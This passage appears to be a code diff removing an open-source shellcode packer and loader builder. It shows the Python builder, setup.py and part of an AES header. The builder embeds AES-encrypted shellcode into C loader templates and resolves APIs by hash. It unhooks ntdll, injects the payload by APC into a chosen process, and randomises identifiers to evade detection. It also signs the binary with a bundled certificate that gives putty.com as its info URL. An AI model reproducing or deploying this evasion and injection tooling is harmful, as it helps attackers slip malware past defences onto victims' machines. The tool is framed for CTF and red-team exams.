alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}\\{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "GetContent" in data[i]:
data[i] = data[i].replace("GetContent", scrambled_functions[16])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(data)
# Modifying the main files
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.format is None or args.format == "EXE":
if args.pfx:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe"))
# If the user supplied a PFX file, we use it to sign the loader.
if args.pfx is not None:
pfx_path = args.pfx
else:
print(Colors.red("[!] PFX file not found"))
sys.exit(1)
if args.pfx_password:
pfx_password = args.pfx_password
else:
print(Colors.red("[!] PFX password not provided"))
sys.exit(1)
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
osslsigncode_path,
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
else:
# Everything has been modified, we can now compile the loader
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if args.format == "DLL":
print(Colors.green("[i] DLL format selected."))
os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
#-----------------------------------------#
#----------- Stageless Variant -----------#
#-----------------------------------------#
if args.commands == "stageless":
print(Colors.green("[i] Stageless Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("stageless")
dst_directory = f'{cr_directory}\\.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
# Parsing the args now
if args.payload:
# We read the shellcode from the file
with open(args.payload, "rb") as file:
raw_payload = file.read()
# converting the payload to hex for ease
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}\\{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
print(Colors.light_yellow("[+] Setting APC injection target process..."))
# Handling the target APC injection.
if args.format is None or args.format == "EXE":
with open(f'{dst_directory}/main.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main.c', 'w') as file:
file.writelines(main_data)
if args.format == "DLL":
with open(f'{dst_directory}/main_dll.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main_dll.c', 'w') as file:
file.writelines(main_data)
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
# converting the payload to hex for ease
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
# We write the key and IV into all files starting with "main"
for filename in os.listdir(dst_directory):
if filename.startswith("main") and (filename.endswith(".c")):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in all main .c files
for filename in os.listdir(dst_directory):
if filename.startswith("main") and (filename.endswith(".c")):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}\\{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
if "payload" in main_data[i]:
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.format is None or args.format == "EXE":
if args.pfx:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe"))
# If the user supplied a PFX file, we use it to sign the loader.
if args.pfx is not None:
pfx_path = args.pfx
else:
print(Colors.red("[!] PFX file not found"))
sys.exit(1)
if args.pfx_password:
pfx_password = args.pfx_password
else:
print(Colors.red("[!] PFX password not provided"))
sys.exit(1)
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
osslsigncode_path,
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
else:
# Everything has been modified, we can now compile the loader
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if args.format == "DLL":
print(Colors.green("[i] DLL format selected."))
os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if __name__ == "__main__":
main()
-3
View File
@@ -1,3 +0,0 @@
colorama==0.4.6
pycryptodome==3.20.0
setuptools
-31
View File
@@ -1,31 +0,0 @@
from setuptools import setup, find_packages
setup(
name='ctfpacker',
version='1.0',
description='Cross platform (Linux / Windows) shellcode packer for CTFs and pentest / red team exams',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
url='https://github.com/mochabyte0x/CTFPacker',
author='mochabyte0x',
author_email='contact@mochabyte.xyz',
maintainer='mochabyte0x',
license='MIT',
install_requires=['colorama',
'pycryptodome'],
py_modules=['main'],
include_package_data=True,
packages=find_packages(),
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx', 'osslsigncode.exe'],
'templates': [
'stageless/*',
'staged/*'
]
},
entry_points={
'console_scripts': [
'ctfpacker=main:main'
],
},
platforms=['Linux', 'Windows']
)
-965
View File
@@ -1,965 +0,0 @@
/*
Original Implementation: https://github.com/halloweeks/AES-128-CBC
Modifications from MochaByte to handle data of any size.
MIT License
Copyright (c) 2024 Hallo Weeks
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdint.h>
#ifndef __AES_128_CBC_H__
#define __AES_128_CBC_H__
#define AES_BLOCK_SIZE 16
#define AES_KEY_SIZE 16
#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \
((unsigned int)(in_data)[1] << 16) ^ \
((unsigned int)(in_data)[2] << 8) ^ \
((unsigned int)(in_data)[3] << 0))
#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \
(out_data)[1] = (unsigned char)((st) >> 16); \
(out_data)[2] = (unsigned char)((st) >> 8); \
(out_data)[3] = (unsigned char)((st) >> 0); }
static const unsigned int Te0[256] =
{
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
};
static const unsigned int Te1[256] =
{
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
